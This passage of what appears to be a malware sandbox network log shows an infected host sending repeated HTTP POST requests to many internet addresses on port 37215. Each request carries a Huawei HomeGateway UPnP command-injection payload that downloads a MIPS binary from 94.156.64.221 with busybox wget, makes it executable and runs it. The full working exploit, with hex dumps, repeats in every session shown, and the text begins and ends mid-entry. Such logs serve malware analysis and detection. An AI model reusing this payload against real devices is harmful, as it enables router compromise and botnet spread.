2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	55148	156.122.9.247	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274230003 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	60032	156.42.136.63	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274260044 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	36022	156.19.157.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274295092 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	53616	197.87.210.186	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274322033 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	46882	197.249.199.20	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274355888 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	46806	41.87.219.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274389982 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	38934	156.61.170.174	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274431944 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	35470	41.101.61.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274463892 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.23	56590	156.226.16.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274502993 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.23	38888	197.107.164.239	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.274543047 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.23	48220	197.173.199.249	37215

Timestamp	Bytes transferred	Direction	Data
